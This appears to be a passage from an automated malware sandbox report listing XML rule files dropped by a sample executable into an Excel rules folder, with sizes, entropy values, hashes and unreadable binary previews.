Preview:	<?xml..d.JI..0.G=..8'.}..sa.1....]N...W..;..uQ....0w.I..},..S.(..<.).?...z1+.p....cT.p.C...~,.>jh..h..=..x..I.L.=S.7..y.$CS$K(...Kb.vVM..."..K).f..3.....................u..\6.2..;..^J.g.slB...0..O.......+(..'g...../..n/.%.'.o...h.9.....E.@..Y..g..hj...@T.$K.....J>....[~....P../...zeDD".......u/B...#<....r.+9.r...N.1=T..a.{.._..tI,n..T...a..Ia.....Tn.e06/..JP...9.h\.....I..KQ...f....w.s=.uJ^@.i..:pIU..\|t.~..B......s..F.K....>.........36....V`.6v............V......d...u....C...p.+xGEM.R...v..Ql.w..NV.....@.....\|.1.. ..G..N.6@.(I...h~...t..{...+.@.P.^....6...H.%...7...(.x.>D..h.j..ezJ4...$.M.`......(.c.U-.u...7.!.[..E.O.jE...rS.1.........&;P.YEUn.&..b...j.~.C...l..^"e(.x.WZ....U.1.0..Z.(.`..=...cIm~S.Y......)...4..-.....`....... ....s......:..i.U#.gHM..@u...)pQ..KB..@Z.V.?....{o....('.Z.SK.; .L.f.B/.U......."m..db.W...h.l..../.1.....+......-.....c..PV.f...=..@UmW.z..a......=>H.......i.>Xy..%Hiq\A...4pN............N..I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.74970569440772
Encrypted:	false
SSDEEP:	24:pNDTDaJHyvIdL5y8WxDOcAoPtESsclop0bD:pNDTDciIdL5cRFESlo0D
MD5:	41B089B0AFF29FEBA3A729A253C3EF89
SHA1:	3F1D69B20297F03E6E4E952DE676A2A27814F0A5
SHA-256:	8CD628821345B3FD5BC5EDFC9FC6474972290E5BB96174F3CCBAEC0F7F529325
SHA-512:	02F7FDB56CADD9AAA81CECA0C49EA7F22426994210F3FD64C361CCB6C0479819849020BB3F1023A7BFD6C1FF716569280F6E0B7931E7B6CA80EAE0DABEE9EADF
Malicious:	false
Preview:	<?xml..y.NSGt...;......z_8.2.\.D<O.Y8..8.......z^p...... 5m..(.1...._..r....z...<...Y...;.+....J.@ ....Z....D...._n!.SC.."f...6T.,.h..7l.;..$.P.Ez....F.O.....c....u.\/.J....'.L.a.A...T..G..n....,..U#U..h..Q.9@"...E.\|.`...w]Z;$./..6..)....ly.6.....>~.-j).9:d.a.R..d...{W.\..s.Q.r...V....NG.d...n.4...k.....vU.P2F..i.(.6. ...L.'......\|ks..@r.}u..A.......2c.du$.M[.}).o.{.:..zk..D.....]V.yS...]......\........@F.0.._\|..\|....c7....3k.\.].Q... .......{.....l... J...=.._..P.q.,.^.....I.......c.e.v...S.x.Sp.)..#...P?N.:^.q.....r.).....c.6V ...-...Mu\rJs.G...B..........wt.......\|..?j.>..-)....~3.....f.......yqq.y....@.g..>YJe..\|"..? ...I..-%O7.....X..HFr^.*..C..T....HH.X.jbEA>..~......{..[....Cd..K...t_.@..u..:.$SV.rV%...7%.B..\|g'?-\_iiGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.789795045732787
Encrypted:	false
SSDEEP:	24:CoBu4A4g+YvXGN4AOR6mZCR1tqcK/rHjs3nVBzibD:5BXnYv2N8RNZg1YJrIXVBcD
MD5:	20C1A6533B1192752B8CA386EAED7FBB
SHA1:	5473A90ABCD41F39D368DF7B95B63FA7FA5A1A89
SHA-256:	F2B85F231D058DCE3BDC71155C2C3351AA2FB573B296C9B7F65027543195BFF4
SHA-512:	57AA03A1259E8CF5287531B808C843C51451D8772D1666C991A56212727E0C41D37D3E4F926E089D96A63017D7F89D6487CCC2D76748350A4EFC40942D2D89C5
Malicious:	false
Preview:	<?xml..../7..0.#..(...V.......H..d..of..AG.... ...,.....[.C...DI.o(;.....].\0.3a...P.T.CB.).j.6...g.w.Z....l.~.....S.!s...{.j...7\ua..pU..K.k.s...^..o... .un.e.~.:.;Kr.....+F...d.....-.t...L..5.~..S.sZ1L...ojCsA/......2.?...."..>w.J8.4`....}.VR...P.......j._Y..WX.....i.E..]._..ln(3..L...de.N..$.~l.9.c..7..7...V.9.-.}_.G.EfeQ1........A!'..P...!......'........wp{.C/..v....g2>g..T.vK...x8Z......q..B8..w.f...Z.L.G..P.}[.7.Hm....(.l..Z.,...5...=..e6..H...2.\Y.....dF..<....^3q...5..+C,....1.a...J..C0....yhLCF.c.....d..K;x.P.....<..f.P.T...<...% Ub0)...{.3.....+[<oB...f..Vnn....I...6..d.x.3.f.V......aGw....bY.t..vIuZ....._.E.p5..`......I.U.."z.#,....D.o0.gW..'..KW^Z....%.... .....-f....O,....M.f.N..&D..5!A.\W..%z.u\.P.7%...y#..T.MnT.%.kRu./W..9...l..3.o...,j..F...F..Z...,8..%...w0..cu.u8.b.\.7.".j.K.t`F...T..Q...LO".......5....%......](......s..ZPN.]^9..g..+I.M......D.:.p7`D.i.........k=.6...xj.2...C.U...-Uk.......M.BN.....+..j.}...."...[x.I...".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.7788312685573855
Encrypted:	false
SSDEEP:	24:iYR5/eRoTPgNZqLR4wInw9Q5RfWmmnIj9LDOabD:Co7g3lwi5BWmmK9RD
MD5:	949FBAFCD1D04C207B1E5442FD775CCB
SHA1:	02416619BC8BD1E3D774DF5612DAF609DFC3435A
SHA-256:	917CFB224EC18E5018119BA888FCB0AF59D6F35A343E070447820D77A87493A9
SHA-512:	C7980CDBE387FDE3DF27CF7056529F78515A7F4975C0C1AB03CDC02E79390A798DCBC4F16194DF0FA63A32C0781D86010E197FC67DAFFB08179F0F7C549860FC
Malicious:	false
Preview:	<?xml...P ...X]...x..[NAr..e;E..d#............W7._5N...>...VQ.PR%.....bq......2S.:.q>I...6..'.....#(...@.....^.......j....y.L..^>"r........d....Y...c..>n.....y...mK.i....4.........nJH,..c....X....C.U"U..}+."0H"..g^...{.......pl...h.?'...&2....L.2. g.l7.......eu........w~..J..........f.....9.X.i2.#O..g...i..w.vG7.R]..{B.j......W."._[Q_n.G+IS.c.Fg..r..xx.o...,..Qv(.w......^.<a.:y5.{UH`....y]...........I.._.u...9...uL.v.B......:.\.D...&./xp.....C.<@o9...R.S...%..yH..;...k..z..<4 +..rrK{y@U.:.,....Z/....U=.7......@.`.9..!47K...H.Xa0..P..9..&.N....N.M..c...i!lN...ti./.......[.0..Ia.8;.h...W..f{d....R.GB.."1N.....Z...8.y........o...R.<g...t..V+,q..a.G]I..-.....w.-$ eM.....w.....^.,...e.!..k....j..~....Wl.dy........l..A....:.+.t.kJ....g..'8..q.[.-KR.....\fC.f..!%j$.,J..ac..#.5.-.....yY.:(rT....HUGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.8176414705761195
Encrypted:	false
SSDEEP:	24:z91XgsrnCIKAto6zM7jsMoExRUZwiyLswphbD:x1QsrnPJa6zMkYUii0xD
MD5:	49CF8FACE463F8CABFF192B280B2FC52
SHA1:	773EF1D44C6E1944BF08BC104F9080595E8C7791
SHA-256:	4442404B51D82B5B63BF1A5BD9F00D91F67F4CF01CAD61F3043F8C500FDE6758
SHA-512:	A969717DCCEBE00A166837E55113656E21E01CB975BC4E607F5918B821AAB98373C104F55CFC3AFD3996FA9683B0C4B16AAF15E753336D883920813903C422D2
Malicious:	false
Preview:	<?xml.y......e..A...>.@......Q...}v&.U..)V.7j1I...e ?Z.........H^...e...C..we..:qu.....b...mTd...n...:`].'}n......`0.UK..\|x.@.UF.q..L.8z..CC.J.&.m3... ...%.["...Zt.._.....v.eD.C.m.Y..D.1\|.{.b7..+t6..6..`...&@.......y.".6;......T......ts^....."..p.......5.a.b!..5).;u]h.............}.LH&A...Wl.#'"E.q...H..F.....Q...y.C....Sy...9....-@g....(N?+.{V.).....K.J..8..fl5s...P$A.k^1&......1....t.".t.......<>E.../.f...Z")Y.K.W>ba;v.q.dF.a..aA..^.&h..>...w.0&..~...........P.@.`V...l..s.X..$...L-..r.#!.d...<.V4O.~......s...2..g..\|$.).Q....;Lb..e.....sJ7m.....LS{.k.=.....>.H.d..Z.3..]J....l$.?A.......".^21W.....%......J...2V...}t..0/.e. .>....P{:.....j\|..Q.Q...Y.<U\|....i...I.....,..,.;\|...#U"%z.\|]U.....V^$.5..3r.P..3.\..... Z\p.fJu....<.....^$...nc.4o.~._.?...G..L.......<U[\7.Fl'u.S8J....U...>.Y.GZ.b.....t...~3......3.E;.+.h..`...@$.Uu%J.IqN..w...w..u\|.G!.`.Y...&.M....'.`0.c......Q..{^...}..\|.@.i.3t.[....{[.\.W...Pu..?.F.o.......X{.#...v.....(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.802987158107012
Encrypted:	false
SSDEEP:	24:82pIqVykSLgFlsBLIJDww17v6hK+lXVHvbD:bpCUPsNICKn+lxzD
MD5:	E92E9328E5DF1403EE6305919B4EC25D
SHA1:	FF031EBD146293563B2864D7EF369BE7ED2F32CC
SHA-256:	472AF4BEB7E06240AEF27063E4B20C51D8128A3F826509CA4326F4CE4EE08945
SHA-512:	10CA1F673DB54B5C2BD24B4881E3D57A57F2C1347B9F84806312FC8968BEA04648603D859E8116BD041A6A14DA01E7C732282938053C608CC739D400D4643175
Malicious:	false
Preview:	<?xml....8...}b...."..lbL....\|EF.\|.e6....T.....6f."....a.......`.t..W..................8R.e..W........yV.c...~.UKe......V.....C..RV...E.../.+Lro_..!...h...O.n[....J.bX<b..h..?.#...E....%;.w>.]...g...m.I... ...p.mo.?... ..Oj....'.Tr>.4...........Kt~..........`3....7..'}..Cp.V ....A....q..Lv,M].2.G.o.V.R.Lx.#.,U..T^u.-..96....#[..9 ..3}6FIwE....k....F,M..$..Y..q.......5..^1+_F2).6.o.ov.._....Vr.x0~.......%.....O.=.7@...s.P.......x.v;.Z..d..[B.Y..=]..N....U9....@.......}6$-.^.-...j.+LW.P..iH;..T.`yX...aH,.3.....>.9...Dw.D...5...r.C.....g7...k..D}......y...P...a"..".rO.S...G.E.W.~-.x0.J;...1..[..D.....)./jG..........Y.9_k.6.....0.....b.\%..Y.j...D.....\.....$=e.....U......S.].MI8.....+{..n..5_.V}...?>...,..<....wk.....jUL.G....v...9........B..6....J....D...e..7.Z..%A.u....R...z....$g...m.3..u.a?.<.)..\|.`.....AZ....mb..[.....+y.5..._.~.5.e.'39...F...{cBDB!.M....\..S.V...,..].:......6.Y.d-.\.E......;.q..6>G..G..z....8^..\|E~+>.gMj..9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.80065490265055
Encrypted:	false
SSDEEP:	24:wGOQhSgaNQg/ChjlXsdNsHy3W1FIWZKuIs/HXOS8OI4bD:wG/hNg2jl1HyOI6Is/3OXriD
MD5:	5CECAF6916CB01E463DFFCAE4E4C0A05
SHA1:	3EC85A5F83ECFD1526FFF32BA33E39DC4F321FBB
SHA-256:	F9F02CDB152C44D256D8969F10FEFC38B5685F080A42ACE16F1CF5F063B1BE43
SHA-512:	9BFA3524F7C5F8CC920AABA17544EE444FDF04122D499D6F6260A371972FB93A57ED778D682D8BE95B9CDFC8670DF669A540F98C23FFE53CBB9FC3698CC366B7
Malicious:	false
Preview:	<?xml.....D..m..~......L.@.H..d....RA......qW.$..H.....;......F..%....rD+~.?]....? v.....h..e.Z0......M.^.?^5l.h.O..>..QbIF.os..'.J....V.Z...7.P2..-MP.9..0....MA]/80S]nF.2...7.\|.ilq..M4T{n..L....Z......f6.ye.@.j...K>.6.0....(..7+...Y.8....I............K[$.......g....UE...xE....wH..._.....d...... ...n.5..>.a..\L...<%.....c.e-G..n...^.s...!i.:.8.T3...j..;..-`4.J..y.2.<)m...;l,9.........v.......\yey...e..Y.".....x._....i.G.t..HY.V0..w..^....S;....!.r. ..+B>.........n...0.:.~L.....4rH.W..j.p.H[.....!..-..7........b%..7... .b........6_.z...+E.:..[.0C.%t.0.BL.1..5,0{.r..,....y..I._.V.B.GM~!.=!.8.e.a..c.'.......\Y..a.n.j....TG.U(...(...DK..!...W.2.u..Ct.r..)..,SWG...0.D..8`^D......Q....5Y........K#hb.P..EMQ`.\|... .J}..?.r...J..3.....F2..6....z5T..f./X..C.<P^.8\|....3...cgE+.6.d...c\|........YhS..I..dO.d.y...#S./5q....._..4........n...q>..?.C..F....%.hl[..O....G... ....k...:....K.t..:.W<Y....j..znz..U......r5W.I.D..03d:.(.s.<O.V.....1.......cG.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.784284241739001
Encrypted:	false
SSDEEP:	24:USQ9EN3YtB4FPbRjAEce4VxcnvhJf36Ee6N/N5IyGwbD:USQSpFj1AjPevfKl69N5EqD
MD5:	010CAAF134BB1D0328665ABE94CBD021
SHA1:	4BFF632EEE94D32BFE2CCB40FDB82D6BCFA5A7B6
SHA-256:	8A619C3C1E8C63C00D7919EA3EA7A6AF6E01C123B4A7F9718DD56E31324FAB9C
SHA-512:	75C1F371CB32BB6631D8AC4834FA387A4E6E2A7BC7FCA6A16C1FA3128A84FF6C8C810654C374E2AC4C6C744BA8A452898CF44A2A998A282C30420CD9B798A6CB
Malicious:	false
Preview:	<?xml..T./.Wj.E+<!..sH.h..\|S...7Z.M.d.M......S}R...H.....6B..I....{).....v....A...D.i...9U.. ....;h6P...1..1.....s@....}..]q.'.O.s.M.w....^.........Rs.......%=......../h.H.w...D.e/...gK.p....(.o.y.a.`.....I..7..-..NA.'.1...[..8...2'.....&EyN....y'Kh..A.n.t.-....1gq.N,r..S.gJ.>\\|..0..p].b.NT9.XF..I.c......`!.'-Y..i..I#8`.....m.........V..A.!...b.u.E.a.GD.....6..z.#....j[.gS8.>.W....".v`..b...W;..I....2(.=..k..#.m.sT.E-..'.....>.5..K.X.HNa.!C?............N....7......[S7....R.......9..lT"...UV...N..j......$.G+H....TE>.g........}..t...'%...P.dbZ9..k...?r......L.4..tM.@p.`...\..:].......7..}.~.ROG....-.]B.>.+..*.b ~..5H..I.+.#.......Pc<......v.[../..S..)n.:\|A...,.M%.Wu.L.....)_6.Rx.S.U.....4B..Z.e...&.&.8i.6...9.n.....E.......fs..........]....Q....N..H%...h........?.$......U....R.[\.....N...Y..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.829740866399944
Encrypted:	false
SSDEEP:	24:fimuqzSBstZKQ1NAFPyLCpSONMz385ofKlZeIAfzbD:f5r7IFPcrkotIAfnD
MD5:	13919160D63AA34695F573B89DEA81EB
SHA1:	8367B859FF30F42639A33520322EBE33E0C73891
SHA-256:	C6E37A03F429089ED0E50F2CFBBF2562699011A6113164B3E46F9AA27D51E75D
SHA-512:	2D6C96D0C74560B321BD10B6541CF18B3F276178671E64FF415BD41ED3D1C6A72F835DE729927DEDC788157F9EB84F3C377B4F79B39C4E9A0F5F4FCA64DE805D
Malicious:	false
Preview:	<?xml!I.9.h6xq<.m/.O.Y.x..r..I.x.d4.s.i..{.H.(]...0..7IU.G....4N.1Y.L..i'...}........0F....<................@.0...RP.E^.......gY7.+..SJ....r...P.H..Oo.~/q....a................v..d.%.v.~.xN JN5<c....{.-.=...........([.a..b...c,....S.1.?...;.s0.....c=..../.....Wf72>2.O+u!..,..) >...[...B.W%.u,.5-..O.........q7..<?..b.1...2.Z...).!..&..L.O......Z".......A...Q.=.M><D.C.J6.s.\|oX.......^...".._Y...l ..>a...V?..Rx^....Pj....Y......i&..1.P_b...5...J..F..vL...#c.p.Iu7r.<~7h.Z.`N"..T..L....P....g.w".v.pf...)7X........Mt[Ti...a.......g.K....l..G.+..7.1_&.Q..S..B....V;.n.....k..U:.U.....Q...zYb....\|.@.....c3L/XE...QJ.K.L...1o.r.f>...!........M..K...V.I{mE}3.-;....bu.Hd...`. I&.W.........1h.e`.&....J(.....!.....{m5..$..U.;...p..e......}j.7..j..(G,B.&..z$..`8.z.g..+:E..H.L9x......+..i..Ez-...4..f`._d.l..fw..?J............go..o.(...I.h....a.U....T....==..@.w7....x.".:N..IE..?...=...RG..T8.C.m...cMR.N.7...Q.+..#.......Vy.X..ik..L.s..........Tg.{.......,b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.848669239773826
Encrypted:	false
SSDEEP:	24:OwKy4QJHZtNdsG+6fBDBZR6PEbgmCCKqSuwh3jrhbqI6fjswqqnE0Oz2FoImbebD:v3H3NdsF6hMPwg5Cgrzrh767G0Oz2FnV
MD5:	BA85BA2A1340559FC2E4B686065AD002
SHA1:	BE231D13E405BC36776AE04A64978AB6B6A24877
SHA-256:	FE1FE6CC91CBABC4ED84F073A0C916857DB543E3A5289E8069F0575EA89193FA
SHA-512:	39A46E9043D7B58B6B3BEADEDA5CB61EAF8576106FB57EEC92B4E9B0D284C2A593B9184A3CEBBEE803186912910128EA14E542449E7095E92D58EFB7B00094DF
Malicious:	false
Preview:	<?xml.~d...O.... ..1.r.(./r......)...N...B.L....N+T..x.....2.2.<...m...(N...Z.f..B.E..6._(k.'.....E........ktH..v/h].;.`.{..`...%TD...G.....a...b.aD(jv..6&x..!T^E.W+L.NO6Bque}c..s......?;.....VHEe&,..k..~u....&..0.^..^...d..!.a.J0"1.1.pI16.....-.{....#......6W...L......%.i.'D..G..f....]x);......-].\?..s\.......0....W.Z.C...`..V..#.JL_..V.#...j..Y..H..f"6.0.{T&.'w..w......-X.Q]...I.........Q.8......R..e.../U.[..r.....7..a1Gb.U.d...$U.....W}u.~.\....[.^.......'...'s.E.M..X..H.:w..D.X.@.!...I.mL.`.............._.F.O..E.......>0d.,'...{..rxSbF.u...\|].....G.."3....qD....f....O%.[v.>..!i...W. ....WK..[...*e..Y..'......Y#%.>.Z...r.S..%`..o......c.r.L.....7#wA..'..h......@Z......h..9.j.}..]8..i.XD.z.Q..sg_`L... .\.('..un;......'..1.>...t..Xg....Z........8.0..%...w.M..\...=..mO^@q..+..2=...M.@j/...U.. LL`...w...k.%\7.br..........:W1..zP.{...D_..Z..........uo..NC..04q(...6.......W{...a.'..n....o....z..)..m\......-N...c....V.`K=._.. ..k;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.752412125550285
Encrypted:	false
SSDEEP:	12:R2vsv0Gn2nU0TD3wEvK8cehRGxwVShMCLmMnNVAYq409nlQ0GTcqA8OO2WYcii9a:wvefoRTD3w9RESO0ZNyN0cBO2jbD
MD5:	26CE36726C6233E591DB19D0C9218F8E
SHA1:	9B37754C102AEBDF5A40ECDB0CD0CDEF63F88124
SHA-256:	F88E8F1D2D467859E0DE06A313AEFCB1F281C7E242A29FF19F0B43F36E061583
SHA-512:	4BF7FC3585446DB3FC7EB9F4E4284942C0A44DD8C67CEEEDBF12023986364934404D84B626E13FD722B4BAB6B15BE40862889880595050C10F35E2D6B16E37CC
Malicious:	false
Preview:	<?xmln...t..p.F-?r..'.=..t..F.Y`<5.VqT.~g.W.KT2@........:....6.K....].7.\|Zi(.Q.....c.KS...m'.[%7......i.s)..'..<=.I..6R........~%...l2UM:..>`..`....."6....j.c......8..v......4.V..H.......8..=`k]....S..xF.U#.: .E..dg..Z..Zm.{p/..+..h...9p.;.1.............w.....e..`.8............2E.K..U$KIM0..3....F-!....!.....;...............+..n[.....(......od.KWk.(P3.3....sG(1....p.&a....K...Z..C..........:.O...}......#....uv.&5.265..s.,..$.44!.,.[.#C....A+..._..X4Z..~.`....B.Sk&.f.] ;@;...i...:Pc.i.T....hRd...M).=.4..B'.W...,........ ...Q..._.nrq......`...h..a.`..2...&...D ....S.A...6C cm-..h..1a...A.Z.I..{iyr..O. .:xI-O.......B6J...Q..=.Dp#]8#.2..G.s..) ?Lf.I.*.....&....?.K.(..O#.X.....m....%".L..{..U_p.].=F...p........(....#.I.d.GZn..>T.........;..#&GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.689680063346161
Encrypted:	false
SSDEEP:	12:jYw5Z0UAtr0ZvRHPtoKRqlLyYQtM/I/Uebry3Erx5q3JSKgVHn5Ycii9a:jbZKtQiKsl+YQtM/IMebuuq5cCbD
MD5:	AB0B2231188D7A179ABCEB6B982F0FA1
SHA1:	ED376170A3B27A17C31B1756F6990F2FE2EF6FF3
SHA-256:	F6FB7D8BFF396E5AC621B6DEB26892D7B51E5ACECC3BCB1D1F739A757F0908A2
SHA-512:	7001491E75706CC8DC4FECE29FD4EC186CE24953C8EA778951572B3C7717C6BF38083D84E3800D8104D6C099B4419573A16059ED461D500FE29D53201DD2F7AC
Malicious:	false
Preview:	<?xml..hme....^..U..2+L..G.K.R.$....0.q}...jb..R;..R(#..*x...52.a{.....Wd....M..~}.f...x.M..9.8.$.z..Cop_.)E$m...Je...e..=.BQ.<._?.F;....1j.>.U...7.W..w~.i.....M2..l.x....%.a..F.M1.......L.#\..5......^..e[M......,J..zpg..pTs....U'.\6Ee..?.Z...p3T.R...GP...D..\.#.!#~.4Y....,5}0.......go\Q....?j......$jmb&.FAx\.&9..`..;..,?.Z_F[.g....ME...(,?..CJZ.8..e\w....E.S.............S.....WY._?........vA48h[...C,p....g..b6N[.8H....Z;Y.s%... o..=....p?....G...>..H..d'.o..;...a.UV..../.6X@...5.iZ.4.i.].$d....%iU.,..RM.....8!..U.f......~...sM...V\|:..K.....`l.....JD..E..&.....8.J..d7.....yL%..j..v...x]..Ke.......9....._^%\./LC.....\.._....s........j?2..O'{W...w.sk.ng4 +IU .R5]......u.....W.....}.._..E...=q`..hd.2....G".a..F.5..T..NO.Q.."<.j:._.Ir:...).XGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.735103028015243
Encrypted:	false
SSDEEP:	12:iKOq85qMJvFh24AJ6c8G6EfQjXHH6VKtcwnY+QOJOYls7hd4bzW5ZknnQo4jwEwU:xmL24XNGBGH08nY4ps73Q+wEP4QbD
MD5:	935B9DC40720F093DE285E0B14899946
SHA1:	6FF0B75701CD7D2D06A9500F9DB519C8440ABE05
SHA-256:	6D1D60F4428C5760D182D1AFB53F08E68FB528584947081CBA2250BED9850784
SHA-512:	C5BA0EE6FEA8FD0321CB4C7BA56F80857D8D58E76753D30544F10594F9A94FA25EB79DBC9E55EFD1D3EEA96B55C541AA83419302293A23D5FA4B9B43C4210691
Malicious:	false
Preview:	<?xml..{.2..."...k...d.q....Qvy.O...I\........... .Uj.+k..v....^s..3^^ ....[.M\.?...%.......L....e..^n...w .<.....9.&>."(b..pR..l.4........Th......F.......p.......f..r..s.d.R.$]....Y.....>.J.G....8....bu..Jy.9......4..b...>.%...>..c.....cS.Q)....v.rA./.Y..6.....C.mT.x.?.L..h.5.3rO9.:...4..E.......,....!<....).:.xe...kx.x.A.4.y...(:.+."j..}.N....i..:L..C....3.H0<..mA...y"..T.r...Ir.3.:.\|.L...1T.-.>..LHp..[{.U.8..{4.U.D_C.A.j.X.....;.P..a.........r...Y_3......M.1.m.T.....T.8.0......M.:rh....p..j9.b.\|. Z..}...TR....).3...l.._...Z..n_.W.f..:......kL9.6.wG...R..u.4.y..M..@...o^".pT..8^k...,^O3"Pj......_.,x.u.$.7X....dd.n.G.o.V..vi..J.1....1..h..se#zG.e......I...!.S..0.C.j.5..L.\|3....K.#..\.....U.~.!Y.d[.#.]....c......T..^..S4..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.773775007664519
Encrypted:	false
SSDEEP:	24:6/fWAsXxCGSR1UBn0XC6fys6JMswgqGsTbD:afeBMUWy2zRgqGsHD
MD5:	E9C8CFC65A5960E12AE505E4D22B263D
SHA1:	404CB9F68FACAAF8BB789DA3581FDB3EF234CDEA
SHA-256:	0E17670AAEB581B53D3507AC42368499D346170B750A3B3BD697F10630B88895
SHA-512:	F5FAAD3B1ABE8D2BA51F41915FACEE213E45BA9C84F9764AEA63FCC73B59CDE858C04D25296F537D8733A5B10F1AF340A2DB624478A989BCB8CD36C9D218189B
Malicious:	false
Preview:	<?xml..]..W....@~/..s.Q...{....S..S.3...Y..x.d...j2.k.......:`T....VJN.W..g#...n.9).Op......Su..4..U...].jM..m.....L90J&.s..(...].8v..,=...\|\+..,.Q.qf'.-.L.....(.n9...C..x_....(.BjY%....(.....vLq..^S.9...H.B..19.T...D`O.....W.......L.....Q.Q...{.+....wf.Z....8..J....{.q....-o.C....-e/.uC8.c.0!%.u.....B......ET`.2.1.b,^&...?......U+.l.a....H.......l.@.w6.&r.g.O..C8m.Q.Q.[8.r.....y..Y....G.lRM...cv... .......wM....Zu.....K.4.....O..ag....i.......N!...5...S...kwC..a..<....L{Y..).D#5...,o.~'.9&D..>...f`.....H....E.L..P.....%EnU../...H..+01...Sv%[.9....../._.;b.1.B..b@.g#m..1\|E.8V.....8.&t@-~L.a..s.hd.\..&O....]}=T .i.``.....^..%..t..M..T.'.W..R...2(h.R.....w...5FX..aE..}M;5-..Qa..P.=.....$..J~.F.u...iM....O.?.y%4.h3d...I.S_...:t!P..J.{...$......\|;......g7..1...."(n...^..f.f..."q`...o.?....d.........y..T..J.Ep4..NYHf...@x........?....q.....U..Lc{..p....G.Ib..X....9...m/;...rqWg.CJa..U.......P...n.. ..9._....M8.T.~.GQ9DjFmWFDqpsyzsOnaxE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.753099830764111
Encrypted:	false
SSDEEP:	12:9T69Z9Xe+713js8awXnEEofAxODoLcMD2/2tx1AnWgNuhsCw4xzhOTo0RfBZYciD:9W9vXe+71QMc42/qLoswcsT5BibD
MD5:	A63C40030E8CFC4B62BD48EF463A2380
SHA1:	298CCD849C9762722A57E688706BFE0C2307E80F
SHA-256:	1F0E621B7504D5529BD43D8EFCA91CEB3FF20C5A67AE1119D8FE7D026F2520AB
SHA-512:	0A8776431ECAA6FEEEA7F36E946A0B3D97FACEFB21CE90DF5E1E3B37D96520EA4807B067EB4E7852DE54DCD89CDE55FA157224A500928F7E0A718192C08F7DD4
Malicious:	false
